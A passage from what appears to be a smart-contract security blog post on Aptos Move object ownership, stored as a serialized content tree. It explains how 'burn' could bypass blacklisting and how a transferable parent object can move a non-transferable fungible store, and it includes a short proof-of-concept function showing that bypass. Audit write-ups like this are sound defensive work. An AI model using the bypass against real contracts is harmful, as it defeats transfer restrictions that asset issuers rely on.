abort_on_dispatch",{"type":24,"tag":147,"props":69300,"children":69301},{"style":241},[69302],{"type":29,"value":978},{"type":24,"tag":147,"props":69304,"children":69305},{"style":9044},[69306],{"type":29,"value":17669},{"type":24,"tag":147,"props":69308,"children":69309},{"style":235},[69310],{"type":29,"value":1549},{"type":24,"tag":147,"props":69312,"children":69313},{"class":149,"line":187},[69314,69318,69322,69326,69330,69335],{"type":24,"tag":147,"props":69315,"children":69316},{"style":235},[69317],{"type":29,"value":564},{"type":24,"tag":147,"props":69319,"children":69320},{"style":247},[69321],{"type":29,"value":11969},{"type":24,"tag":147,"props":69323,"children":69324},{"style":9044},[69325],{"type":29,"value":67678},{"type":24,"tag":147,"props":69327,"children":69328},{"style":235},[69329],{"type":29,"value":546},{"type":24,"tag":147,"props":69331,"children":69332},{"style":9044},[69333],{"type":29,"value":69334},"DispatchFunctionStore",{"type":24,"tag":147,"props":69336,"children":69337},{"style":235},[69338],{"type":29,"value":6630},{"type":24,"tag":147,"props":69340,"children":69341},{"class":149,"line":196},[69342,69346,69351,69355,69360,69364,69368,69372,69376,69380,69384,69388,69393,69397,69402],{"type":24,"tag":147,"props":69343,"children":69344},{"style":229},[69345],{"type":29,"value":67926},{"type":24,"tag":147,"props":69347,"children":69348},{"style":235},[69349],{"type":29,"value":69350},"(object",{"type":24,"tag":147,"props":69352,"children":69353},{"style":241},[69354],{"type":29,"value":9106},{"type":24,"tag":147,"props":69356,"children":69357},{"style":229},[69358],{"type":29,"value":69359},"owns",{"type":24,"tag":147,"props":69361,"children":69362},{"style":235},[69363],{"type":29,"value":480},{"type":24,"tag":147,"props":69365,"children":69366},{"style":247},[69367],{"type":29,"value":11565},{"type":24,"tag":147,"props":69369,"children":69370},{"style":235},[69371],{"type":29,"value":18553},{"type":24,"tag":147,"props":69373,"children":69374},{"style":241},[69375],{"type":29,"value":9106},{"type":24,"tag":147,"props":69377,"children":69378},{"style":229},[69379],{"type":29,"value":12835},{"type":24,"tag":147,"props":69381,"children":69382},{"style":235},[69383],{"type":29,"value":480},{"type":24,"tag":147,"props":69385,"children":69386},{"style":247},[69387],{"type":29,"value":21221},{"type":24,"tag":147,"props":69389,"children":69390},{"style":235},[69391],{"type":29,"value":69392},")), error",{"type":24,"tag":147,"props":69394,"children":69395},{"style":241},[69396],{"type":29,"value":9106},{"type":24,"tag":147,"props":69398,"children":69399},{"style":229},[69400],{"type":29,"value":69401},"permission_denied",{"type":24,"tag":147,"props":69403,"children":69404},{"style":235},[69405],{"type":29,"value":69406},"(ENOT_STORE_OWNER));\n",{"type":24,"tag":147,"props":69408,"children":69409},{"class":149,"line":205},[69410,69414,69418],{"type":24,"tag":147,"props":69411,"children":69412},{"style":235},[69413],{"type":29,"value":68300},{"type":24,"tag":147,"props":69415,"children":69416},{"style":241},[69417],{"type":29,"value":15212},{"type":24,"tag":147,"props":69419,"children":69420},{"style":235},[69421],{"type":29,"value":17391},{"type":24,"tag":147,"props":69423,"children":69424},{"class":149,"line":214},[69425],{"type":24,"tag":147,"props":69426,"children":69427},{"style":235},[69428],{"type":29,"value":827},{"type":24,"tag":25,"props":69430,"children":69431},{},[69432,69434,69439,69441,69447,69449,69455],{"type":29,"value":69433},"The thing to note is that defining ownership with ",{"type":24,"tag":80,"props":69435,"children":69437},{"className":69436},[],[69438],{"type":29,"value":69176},{"type":29,"value":69440}," can be tricky. The ",{"type":24,"tag":80,"props":69442,"children":69444},{"className":69443},[],[69445],{"type":29,"value":69446},"burn",{"type":29,"value":69448}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":24,"tag":80,"props":69450,"children":69452},{"className":69451},[],[69453],{"type":29,"value":69454},"BURN_ADDRESS",{"type":29,"value":69456}," while bypassing transfer restrictions:",{"type":24,"tag":137,"props":69458,"children":69460},{"className":8614,"code":69459,"language":8613,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[69461],{"type":24,"tag":80,"props":69462,"children":69463},{"__ignoreMap":7},[69464,69561,69602,69652,69681,69731,69752],{"type":24,"tag":147,"props":69465,"children":69466},{"class":149,"line":150},[69467,69471,69475,69479,69484,69488,69492,69496,69500,69504,69508,69512,69516,69520,69524,69528,69532,69536,69540,69544,69548,69552,69557],{"type":24,"tag":147,"props":69468,"children":69469},{"style":247},[69470],{"type":29,"value":67257},{"type":24,"tag":147,"props":69472,"children":69473},{"style":247},[69474],{"type":29,"value":68224},{"type":24,"tag":147,"props":69476,"children":69477},{"style":247},[69478],{"type":29,"value":11832},{"type":24,"tag":147,"props":69480,"children":69481},{"style":247},[69482],{"type":29,"value":69483}," burn",{"type":24,"tag":147,"props":69485,"children":69486},{"style":235},[69487],{"type":29,"value":3583},{"type":24,"tag":147,"props":69489,"children":69490},{"style":9044},[69491],{"type":29,"value":11612},{"type":24,"tag":147,"props":69493,"children":69494},{"style":241},[69495],{"type":29,"value":978},{"type":24,"tag":147,"props":69497,"children":69498},{"style":247},[69499],{"type":29,"value":11556},{"type":24,"tag":147,"props":69501,"children":69502},{"style":235},[69503],{"type":29,"value":13236},{"type":24,"tag":147,"props":69505,"children":69506},{"style":247},[69507],{"type":29,"value":21221},{"type":24,"tag":147,"props":69509,"children":69510},{"style":241},[69511],{"type":29,"value":978},{"type":24,"tag":147,"props":69513,"children":69514},{"style":241},[69515],{"type":29,"value":12767},{"type":24,"tag":147,"props":69517,"children":69518},{"style":247},[69519],{"type":29,"value":12772},{"type":24,"tag":147,"props":69521,"children":69522},{"style":235},[69523],{"type":29,"value":546},{"type":24,"tag":147,"props":69525,"children":69526},{"style":247},[69527],{"type":29,"value":68492},{"type":24,"tag":147,"props":69529,"children":69530},{"style":241},[69531],{"type":29,"value":978},{"type":24,"tag":147,"props":69533,"children":69534},{"style":9044},[69535],{"type":29,"value":67143},{"type":24,"tag":147,"props":69537,"children":69538},{"style":235},[69539],{"type":29,"value":3583},{"type":24,"tag":147,"props":69541,"children":69542},{"style":9044},[69543],{"type":29,"value":11612},{"type":24,"tag":147,"props":69545,"children":69546},{"style":235},[69547],{"type":29,"value":26050},{"type":24,"tag":147,"props":69549,"children":69550},{"style":247},[69551],{"type":29,"value":11969},{"type":24,"tag":147,"props":69553,"children":69554},{"style":9044},[69555],{"type":29,"value":69556}," ObjectCore",{"type":24,"tag":147,"props":69558,"children":69559},{"style":235},[69560],{"type":29,"value":6630},{"type":24,"tag":147,"props":69562,"children":69563},{"class":149,"line":160},[69564,69568,69573,69577,69582,69586,69590,69594,69598],{"type":24,"tag":147,"props":69565,"children":69566},{"style":218},[69567],{"type":29,"value":8634},{"type":24,"tag":147,"props":69569,"children":69570},{"style":247},[69571],{"type":29,"value":69572}," original_owner",{"type":24,"tag":147,"props":69574,"children":69575},{"style":241},[69576],{"type":29,"value":651},{"type":24,"tag":147,"props":69578,"children":69579},{"style":235},[69580],{"type":29,"value":69581}," signer",{"type":24,"tag":147,"props":69583,"children":69584},{"style":241},[69585],{"type":29,"value":9106},{"type":24,"tag":147,"props":69587,"children":69588},{"style":229},[69589],{"type":29,"value":12835},{"type":24,"tag":147,"props":69591,"children":69592},{"style":235},[69593],{"type":29,"value":480},{"type":24,"tag":147,"props":69595,"children":69596},{"style":247},[69597],{"type":29,"value":21221},{"type":24,"tag":147,"props":69599,"children":69600},{"style":235},[69601],{"type":29,"value":1473},{"type":24,"tag":147,"props":69603,"children":69604},{"class":149,"line":169},[69605,69609,69613,69618,69622,69626,69630,69635,69639,69643,69647],{"type":24,"tag":147,"props":69606,"children":69607},{"style":229},[69608],{"type":29,"value":67926},{"type":24,"tag":147,"props":69610,"children":69611},{"style":235},[69612],{"type":29,"value":480},{"type":24,"tag":147,"props":69614,"children":69615},{"style":229},[69616],{"type":29,"value":69617},"is_owner",{"type":24,"tag":147,"props":69619,"children":69620},{"style":235},[69621],{"type":29,"value":480},{"type":24,"tag":147,"props":69623,"children":69624},{"style":247},[69625],{"type":29,"value":68492},{"type":24,"tag":147,"props":69627,"children":69628},{"style":235},[69629],{"type":29,"value":546},{"type":24,"tag":147,"props":69631,"children":69632},{"style":247},[69633],{"type":29,"value":69634},"original_owner",{"type":24,"tag":147,"props":69636,"children":69637},{"style":235},[69638],{"type":29,"value":68515},{"type":24,"tag":147,"props":69640,"children":69641},{"style":241},[69642],{"type":29,"value":9106},{"type":24,"tag":147,"props":69644,"children":69645},{"style":229},[69646],{"type":29,"value":69401},{"type":24,"tag":147,"props":69648,"children":69649},{"style":235},[69650],{"type":29,"value":69651},"(ENOT_OBJECT_OWNER));\n",{"type":24,"tag":147,"props":69653,"children":69654},{"class":149,"line":178},[69655,69659,69664,69668,69672,69676],{"type":24,"tag":147,"props":69656,"children":69657},{"style":218},[69658],{"type":29,"value":8634},{"type":24,"tag":147,"props":69660,"children":69661},{"style":247},[69662],{"type":29,"value":69663}," object_addr",{"type":24,"tag":147,"props":69665,"children":69666},{"style":241},[69667],{"type":29,"value":651},{"type":24,"tag":147,"props":69669,"children":69670},{"style":247},[69671],{"type":29,"value":68076},{"type":24,"tag":147,"props":69673,"children":69674},{"style":241},[69675],{"type":29,"value":87},{"type":24,"tag":147,"props":69677,"children":69678},{"style":235},[69679],{"type":29,"value":69680},"inner;\n",{"type":24,"tag":147,"props":69682,"children":69683},{"class":149,"line":187},[69684,69688,69692,69696,69701,69705,69710,69714,69719,69723,69727],{"type":24,"tag":147,"props":69685,"children":69686},{"style":229},[69687],{"type":29,"value":68679},{"type":24,"tag":147,"props":69689,"children":69690},{"style":235},[69691],{"type":29,"value":480},{"type":24,"tag":147,"props":69693,"children":69694},{"style":241},[69695],{"type":29,"value":485},{"type":24,"tag":147,"props":69697,"children":69698},{"style":229},[69699],{"type":29,"value":69700},"create_signer",{"type":24,"tag":147,"props":69702,"children":69703},{"style":235},[69704],{"type":29,"value":480},{"type":24,"tag":147,"props":69706,"children":69707},{"style":247},[69708],{"type":29,"value":69709},"object_addr",{"type":24,"tag":147,"props":69711,"children":69712},{"style":235},[69713],{"type":29,"value":20789},{"type":24,"tag":147,"props":69715,"children":69716},{"style":9044},[69717],{"type":29,"value":69718},"TombStone",{"type":24,"tag":147,"props":69720,"children":69721},{"style":235},[69722],{"type":29,"value":15207},{"type":24,"tag":147,"props":69724,"children":69725},{"style":247},[69726],{"type":29,"value":69634},{"type":24,"tag":147,"props":69728,"children":69729},{"style":235},[69730],{"type":29,"value":44432},{"type":24,"tag":147,"props":69732,"children":69733},{"class":149,"line":196},[69734,69739,69743,69747],{"type":24,"tag":147,"props":69735,"children":69736},{"style":229},[69737],{"type":29,"value":69738},"    transfer_raw_inner",{"type":24,"tag":147,"props":69740,"children":69741},{"style":235},[69742],{"type":29,"value":480},{"type":24,"tag":147,"props":69744,"children":69745},{"style":247},[69746],{"type":29,"value":69709},{"type":24,"tag":147,"props":69748,"children":69749},{"style":235},[69750],{"type":29,"value":69751},", BURN_ADDRESS);\n",{"type":24,"tag":147,"props":69753,"children":69754},{"class":149,"line":205},[69755],{"type":24,"tag":147,"props":69756,"children":69757},{"style":235},[69758],{"type":29,"value":827},{"type":24,"tag":25,"props":69760,"children":69761},{},[69762,69768,69770,69775,69776,69783,69785,69790],{"type":24,"tag":80,"props":69763,"children":69765},{"className":69764},[],[69766],{"type":29,"value":69767},"unburn",{"type":29,"value":69769}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":24,"tag":80,"props":69771,"children":69773},{"className":69772},[],[69774],{"type":29,"value":69454},{"type":29,"value":24139},{"type":24,"tag":2773,"props":69777,"children":69780},{"href":69778,"rel":69779},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[2777],[69781],{"type":29,"value":69782},"AIP-99",{"type":29,"value":69784}," is a proposal to roll back the ",{"type":24,"tag":80,"props":69786,"children":69788},{"className":69787},[],[69789],{"type":29,"value":69446},{"type":29,"value":69791}," feature, but previously burned objects will remain restorable.",{"type":24,"tag":98,"props":69793,"children":69794},{},[69795],{"type":24,"tag":25,"props":69796,"children":69797},{},[69798,69799,69803],{"type":29,"value":7911},{"type":24,"tag":147,"props":69800,"children":69801},{},[69802],{"type":29,"value":69782},{"type":29,"value":69804}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":24,"tag":25,"props":69806,"children":69807},{},[69808,69810,69816,69818,69823,69825,69830],{"type":29,"value":69809},"Another important thing is that ",{"type":24,"tag":80,"props":69811,"children":69813},{"className":69812},[],[69814],{"type":29,"value":69815},"fungible_asset::set_untransferable",{"type":29,"value":69817}," can be used to make all new ",{"type":24,"tag":80,"props":69819,"children":69821},{"className":69820},[],[69822],{"type":29,"value":68162},{"type":29,"value":69824}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":24,"tag":80,"props":69826,"children":69828},{"className":69827},[],[69829],{"type":29,"value":67658},{"type":29,"value":87},{"type":24,"tag":25,"props":69832,"children":69833},{},[69834,69836,69841,69843,69849,69851,69856,69858,69863],{"type":29,"value":69835},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":24,"tag":80,"props":69837,"children":69839},{"className":69838},[],[69840],{"type":29,"value":67658},{"type":29,"value":69842},", X can withdraw from that store. This is because ",{"type":24,"tag":80,"props":69844,"children":69846},{"className":69845},[],[69847],{"type":29,"value":69848},"fungible_asset::withdraw",{"type":29,"value":69850}," uses ",{"type":24,"tag":80,"props":69852,"children":69854},{"className":69853},[],[69855],{"type":29,"value":69176},{"type":29,"value":69857}," to verify both direct and indirect ownership of the ",{"type":24,"tag":80,"props":69859,"children":69861},{"className":69860},[],[69862],{"type":29,"value":67658},{"type":29,"value":55774},{"type":24,"tag":137,"props":69865,"children":69867},{"className":8614,"code":69866,"language":8613,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[69868],{"type":24,"tag":80,"props":69869,"children":69870},{"__ignoreMap":7},[69871,69932,69948,69978,70007,70022,70034,70064,70085,70092,70132,70157,70164],{"type":24,"tag":147,"props":69872,"children":69873},{"class":149,"line":150},[69874,69878,69883,69887,69891,69895,69899,69903,69908,69912,69916,69920,69924,69928],{"type":24,"tag":147,"props":69875,"children":69876},{"style":247},[69877],{"type":29,"value":12733},{"type":24,"tag":147,"props":69879,"children":69880},{"style":229},[69881],{"type":29,"value":69882}," verify_ungated_and_descendant",{"type":24,"tag":147,"props":69884,"children":69885},{"style":235},[69886],{"type":29,"value":480},{"type":24,"tag":147,"props":69888,"children":69889},{"style":247},[69890],{"type":29,"value":21221},{"type":24,"tag":147,"props":69892,"children":69893},{"style":241},[69894],{"type":29,"value":978},{"type":24,"tag":147,"props":69896,"children":69897},{"style":247},[69898],{"type":29,"value":11875},{"type":24,"tag":147,"props":69900,"children":69901},{"style":235},[69902],{"type":29,"value":546},{"type":24,"tag":147,"props":69904,"children":69905},{"style":247},[69906],{"type":29,"value":69907},"destination",{"type":24,"tag":147,"props":69909,"children":69910},{"style":241},[69911],{"type":29,"value":978},{"type":24,"tag":147,"props":69913,"children":69914},{"style":247},[69915],{"type":29,"value":11875},{"type":24,"tag":147,"props":69917,"children":69918},{"style":235},[69919],{"type":29,"value":564},{"type":24,"tag":147,"props":69921,"children":69922},{"style":247},[69923],{"type":29,"value":11969},{"type":24,"tag":147,"props":69925,"children":69926},{"style":9044},[69927],{"type":29,"value":69556},{"type":24,"tag":147,"props":69929,"children":69930},{"style":235},[69931],{"type":29,"value":6630},{"type":24,"tag":147,"props":69933,"children":69934},{"class":149,"line":160},[69935,69940,69944],{"type":24,"tag":147,"props":69936,"children":69937},{"style":235},[69938],{"type":29,"value":69939},"        [",{"type":24,"tag":147,"props":69941,"children":69942},{"style":241},[69943],{"type":29,"value":15212},{"type":24,"tag":147,"props":69945,"children":69946},{"style":235},[69947],{"type":29,"value":17391},{"type":24,"tag":147,"props":69949,"children":69950},{"class":149,"line":169},[69951,69956,69960,69964,69969,69974],{"type":24,"tag":147,"props":69952,"children":69953},{"style":321},[69954],{"type":29,"value":69955},"    while",{"type":24,"tag":147,"props":69957,"children":69958},{"style":235},[69959],{"type":29,"value":408},{"type":24,"tag":147,"props":69961,"children":69962},{"style":247},[69963],{"type":29,"value":21221},{"type":24,"tag":147,"props":69965,"children":69966},{"style":241},[69967],{"type":29,"value":69968}," !=",{"type":24,"tag":147,"props":69970,"children":69971},{"style":247},[69972],{"type":29,"value":69973}," current_address",{"type":24,"tag":147,"props":69975,"children":69976},{"style":235},[69977],{"type":29,"value":505},{"type":24,"tag":147,"props":69979,"children":69980},{"class":149,"line":178},[69981,69986,69990,69995,69999,70003],{"type":24,"tag":147,"props":69982,"children":69983},{"style":247},[69984],{"type":29,"value":69985},"        count",{"type":24,"tag":147,"props":69987,"children":69988},{"style":241},[69989],{"type":29,"value":651},{"type":24,"tag":147,"props":69991,"children":69992},{"style":247},[69993],{"type":29,"value":69994}," count",{"type":24,"tag":147,"props":69996,"children":69997},{"style":241},[69998],{"type":29,"value":1734},{"type":24,"tag":147,"props":70000,"children":70001},{"style":705},[70002],{"type":29,"value":10147},{"type":24,"tag":147,"props":70004,"children":70005},{"style":235},[70006],{"type":29,"value":432},{"type":24,"tag":147,"props":70008,"children":70009},{"class":149,"line":187},[70010,70014,70018],{"type":24,"tag":147,"props":70011,"children":70012},{"style":235},[70013],{"type":29,"value":69939},{"type":24,"tag":147,"props":70015,"children":70016},{"style":241},[70017],{"type":29,"value":15212},{"type":24,"tag":147,"props":70019,"children":70020},{"style":235},[70021],{"type":29,"value":17391},{"type":24,"tag":147,"props":70023,"children":70024},{"class":149,"line":196},[70025,70030],{"type":24,"tag":147,"props":70026,"children":70027},{"style":229},[70028],{"type":29,"value":70029},"        assert!",{"type":24,"tag":147,"props":70031,"children":70032},{"style":235},[70033],{"type":29,"value":9088},{"type":24,"tag":147,"props":70035,"children":70036},{"class":149,"line":205},[70037,70042,70046,70051,70055,70060],{"type":24,"tag":147,"props":70038,"children":70039},{"style":247},[70040],{"type":29,"value":70041},"            exists",{"type":24,"tag":147,"props":70043,"children":70044},{"style":235},[70045],{"type":29,"value":3583},{"type":24,"tag":147,"props":70047,"children":70048},{"style":9044},[70049],{"type":29,"value":70050},"ObjectCore",{"type":24,"tag":147,"props":70052,"children":70053},{"style":235},[70054],{"type":29,"value":13236},{"type":24,"tag":147,"props":70056,"children":70057},{"style":247},[70058],{"type":29,"value":70059},"current_address",{"type":24,"tag":147,"props":70061,"children":70062},{"style":235},[70063],{"type":29,"value":12362},{"type":24,"tag":147,"props":70065,"children":70066},{"class":149,"line":214},[70067,70072,70076,70080],{"type":24,"tag":147,"props":70068,"children":70069},{"style":235},[70070],{"type":29,"value":70071},"            error",{"type":24,"tag":147,"props":70073,"children":70074},{"style":241},[70075],{"type":29,"value":9106},{"type":24,"tag":147,"props":70077,"children":70078},{"style":229},[70079],{"type":29,"value":69401},{"type":24,"tag":147,"props":70081,"children":70082},{"style":235},[70083],{"type":29,"value":70084},"(ENOT_OBJECT_OWNER),\n",{"type":24,"tag":147,"props":70086,"children":70087},{"class":149,"line":272},[70088],{"type":24,"tag":147,"props":70089,"children":70090},{"style":235},[70091],{"type":29,"value":13369},{"type":24,"tag":147,"props":70093,"children":70094},{"class":149,"line":281},[70095,70099,70103,70107,70112,70116,70120,70124,70128],{"type":24,"tag":147,"props":70096,"children":70097},{"style":218},[70098],{"type":29,"value":8696},{"type":24,"tag":147,"props":70100,"children":70101},{"style":247},[70102],{"type":29,"value":68076},{"type":24,"tag":147,"props":70104,"children":70105},{"style":241},[70106],{"type":29,"value":651},{"type":24,"tag":147,"props":70108,"children":70109},{"style":247},[70110],{"type":29,"value":70111}," borrow_global",{"type":24,"tag":147,"props":70113,"children":70114},{"style":235},[70115],{"type":29,"value":3583},{"type":24,"tag":147,"props":70117,"children":70118},{"style":9044},[70119],{"type":29,"value":70050},{"type":24,"tag":147,"props":70121,"children":70122},{"style":235},[70123],{"type":29,"value":13236},{"type":24,"tag":147,"props":70125,"children":70126},{"style":247},[70127],{"type":29,"value":70059},{"type":24,"tag":147,"props":70129,"children":70130},{"style":235},[70131],{"type":29,"value":1473},{"type":24,"tag":147,"props":70133,"children":70134},{"class":149,"line":299},[70135,70140,70144,70148,70152],{"type":24,"tag":147,"props":70136,"children":70137},{"style":247},[70138],{"type":29,"value":70139},"        current_address",{"type":24,"tag":147,"props":70141,"children":70142},{"style":241},[70143],{"type":29,"value":651},{"type":24,"tag":147,"props":70145,"children":70146},{"style":247},[70147],{"type":29,"value":68076},{"type":24,"tag":147,"props":70149,"children":70150},{"style":241},[70151],{"type":29,"value":87},{"type":24,"tag":147,"props":70153,"children":70154},{"style":235},[70155],{"type":29,"value":70156},"owner;\n",{"type":24,"tag":147,"props":70158,"children":70159},{"class":149,"line":308},[70160],{"type":24,"tag":147,"props":70161,"children":70162},{"style":235},[70163],{"type":29,"value":44594},{"type":24,"tag":147,"props":70165,"children":70166},{"class":149,"line":317},[70167],{"type":24,"tag":147,"props":70168,"children":70169},{"style":235},[70170],{"type":29,"value":827},{"type":24,"tag":25,"props":70172,"children":70173},{},[70174,70176,70181],{"type":29,"value":70175},"This could allow for bypassing assumptions about ",{"type":24,"tag":80,"props":70177,"children":70179},{"className":70178},[],[70180],{"type":29,"value":67658},{"type":29,"value":70182}," true ownership and its non-transferability.",{"type":24,"tag":137,"props":70184,"children":70186},{"className":8614,"code":70185,"language":8613,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[70187],{"type":24,"tag":80,"props":70188,"children":70189},{"__ignoreMap":7},[70190,70248,70301,70345,70393,70400,70445,70453],{"type":24,"tag":147,"props":70191,"children":70192},{"class":149,"line":150},[70193,70197,70201,70206,70210,70215,70219,70223,70227,70231,70236,70240,70244],{"type":24,"tag":147,"props":70194,"children":70195},{"style":247},[70196],{"type":29,"value":67257},{"type":24,"tag":147,"props":70198,"children":70199},{"style":247},[70200],{"type":29,"value":11832},{"type":24,"tag":147,"props":70202,"children":70203},{"style":229},[70204],{"type":29,"value":70205}," untransferable_transfer",{"type":24,"tag":147,"props":70207,"children":70208},{"style":235},[70209],{"type":29,"value":480},{"type":24,"tag":147,"props":70211,"children":70212},{"style":247},[70213],{"type":29,"value":70214},"caller",{"type":24,"tag":147,"props":70216,"children":70217},{"style":241},[70218],{"type":29,"value":978},{"type":24,"tag":147,"props":70220,"children":70221},{"style":241},[70222],{"type":29,"value":12767},{"type":24,"tag":147,"props":70224,"children":70225},{"style":247},[70226],{"type":29,"value":12772},{"type":24,"tag":147,"props":70228,"children":70229},{"style":235},[70230],{"type":29,"value":546},{"type":24,"tag":147,"props":70232,"children":70233},{"style":247},[70234],{"type":29,"value":70235},"receipient",{"type":24,"tag":147,"props":70237,"children":70238},{"style":241},[70239],{"type":29,"value":978},{"type":24,"tag":147,"props":70241,"children":70242},{"style":247},[70243],{"type":29,"value":11875},{"type":24,"tag":147,"props":70245,"children":70246},{"style":235},[70247],{"type":29,"value":505},{"type":24,"tag":147,"props":70249,"children":70250},{"class":149,"line":160},[70251,70255,70260,70264,70268,70272,70277,70281,70285,70289,70293,70297],{"type":24,"tag":147,"props":70252,"children":70253},{"style":218},[70254],{"type":29,"value":8634},{"type":24,"tag":147,"props":70256,"children":70257},{"style":247},[70258],{"type":29,"value":70259}," constructor_ref",{"type":24,"tag":147,"props":70261,"children":70262},{"style":241},[70263],{"type":29,"value":651},{"type":24,"tag":147,"props":70265,"children":70266},{"style":235},[70267],{"type":29,"value":68076},{"type":24,"tag":147,"props":70269,"children":70270},{"style":241},[70271],{"type":29,"value":9106},{"type":24,"tag":147,"props":70273,"children":70274},{"style":229},[70275],{"type":29,"value":70276},"create_object",{"type":24,"tag":147,"props":70278,"children":70279},{"style":235},[70280],{"type":29,"value":12826},{"type":24,"tag":147,"props":70282,"children":70283},{"style":241},[70284],{"type":29,"value":9106},{"type":24,"tag":147,"props":70286,"children":70287},{"style":229},[70288],{"type":29,"value":12835},{"type":24,"tag":147,"props":70290,"children":70291},{"style":235},[70292],{"type":29,"value":480},{"type":24,"tag":147,"props":70294,"children":70295},{"style":247},[70296],{"type":29,"value":70214},{"type":24,"tag":147,"props":70298,"children":70299},{"style":235},[70300],{"type":29,"value":12849},{"type":24,"tag":147,"props":70302,"children":70303},{"class":149,"line":169},[70304,70308,70312,70316,70320,70324,70329,70333,70337,70341],{"type":24,"tag":147,"props":70305,"children":70306},{"style":218},[70307],{"type":29,"value":8634},{"type":24,"tag":147,"props":70309,"children":70310},{"style":247},[70311],{"type":29,"value":69663},{"type":24,"tag":147,"props":70313,"children":70314},{"style":241},[70315],{"type":29,"value":651},{"type":24,"tag":147,"props":70317,"children":70318},{"style":235},[70319],{"type":29,"value":68076},{"type":24,"tag":147,"props":70321,"children":70322},{"style":241},[70323],{"type":29,"value":9106},{"type":24,"tag":147,"props":70325,"children":70326},{"style":229},[70327],{"type":29,"value":70328},"address_from_constructor_ref",{"type":24,"tag":147,"props":70330,"children":70331},{"style":235},[70332],{"type":29,"value":480},{"type":24,"tag":147,"props":70334,"children":70335},{"style":241},[70336],{"type":29,"value":485},{"type":24,"tag":147,"props":70338,"children":70339},{"style":247},[70340],{"type":29,"value":68510},{"type":24,"tag":147,"props":70342,"children":70343},{"style":235},[70344],{"type":29,"value":1473},{"type":24,"tag":147,"props":70346,"children":70347},{"class":149,"line":178},[70348,70352,70356,70360,70365,70369,70373,70377,70381,70385,70389],{"type":24,"tag":147,"props":70349,"children":70350},{"style":218},[70351],{"type":29,"value":8634},{"type":24,"tag":147,"props":70353,"children":70354},{"style":247},[70355],{"type":29,"value":11455},{"type":24,"tag":147,"props":70357,"children":70358},{"style":241},[70359],{"type":29,"value":651},{"type":24,"tag":147,"props":70361,"children":70362},{"style":235},[70363],{"type":29,"value":70364}," primary_fungible_store",{"type":24,"tag":147,"props":70366,"children":70367},{"style":241},[70368],{"type":29,"value":9106},{"type":24,"tag":147,"props":70370,"children":70371},{"style":229},[70372],{"type":29,"value":68402},{"type":24,"tag":147,"props":70374,"children":70375},{"style":235},[70376],{"type":29,"value":480},{"type":24,"tag":147,"props":70378,"children":70379},{"style":247},[70380],{"type":29,"value":69709},{"type":24,"tag":147,"props":70382,"children":70383},{"style":235},[70384],{"type":29,"value":546},{"type":24,"tag":147,"props":70386,"children":70387},{"style":229},[70388],{"type":29,"value":68358},{"type":24,"tag":147,"props":70390,"children":70391},{"style":235},[70392],{"type":29,"value":21037},{"type":24,"tag":147,"props":70394,"children":70395},{"class":149,"line":187},[70396],{"type":24,"tag":147,"props":70397,"children":70398},{"emptyLinePlaceholder":16},[70399],{"type":29,"value":314},{"type":24,"tag":147,"props":70401,"children":70402},{"class":149,"line":196},[70403,70408,70412,70417,70421,70425,70429,70433,70437,70441],{"type":24,"tag":147,"props":70404,"children":70405},{"style":235},[70406],{"type":29,"value":70407},"    object",{"type":24,"tag":147,"props":70409,"children":70410},{"style":241},[70411],{"type":29,"value":9106},{"type":24,"tag":147,"props":70413,"children":70414},{"style":229},[70415],{"type":29,"value":70416},"transfer_raw",{"type":24,"tag":147,"props":70418,"children":70419},{"style":235},[70420],{"type":29,"value":480},{"type":24,"tag":147,"props":70422,"children":70423},{"style":247},[70424],{"type":29,"value":70214},{"type":24,"tag":147,"props":70426,"children":70427},{"style":235},[70428],{"type":29,"value":546},{"type":24,"tag":147,"props":70430,"children":70431},{"style":247},[70432],{"type":29,"value":69709},{"type":24,"tag":147,"props":70434,"children":70435},{"style":235},[70436],{"type":29,"value":546},{"type":24,"tag":147,"props":70438,"children":70439},{"style":247},[70440],{"type":29,"value":70235},{"type":24,"tag":147,"props":70442,"children":70443},{"style":235},[70444],{"type":29,"value":1473},{"type":24,"tag":147,"props":70446,"children":70447},{"class":149,"line":205},[70448],{"type":24,"tag":147,"props":70449,"children":70450},{"style":154},[70451],{"type":29,"value":70452},"    //receipient can interact with store by using their signer\n",{"type":24,"tag":147,"props":70454,"children":70455},{"class":149,"line":214},[70456],{"type":24,"tag":147,"props":70457,"children":70458},{"style":235},[70459],{"type":29,"value":827},{"type":24,"tag":25,"props":70461,"children":70462},{},[70463,70465,70472],{"type":29,"value":70464},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":24,"tag":2773,"props":70466,"children":70469},{"href":70467,"rel":70468},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[2777],[70470],{"type":29,"value":70471},"edge case",{"type":29,"value":70473}," involving the transfer of a non-transferable fungible store.",{"type":24,"tag":137,"props":70475,"children":70477},{"className":8614,"code":70476,"language":8613,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) 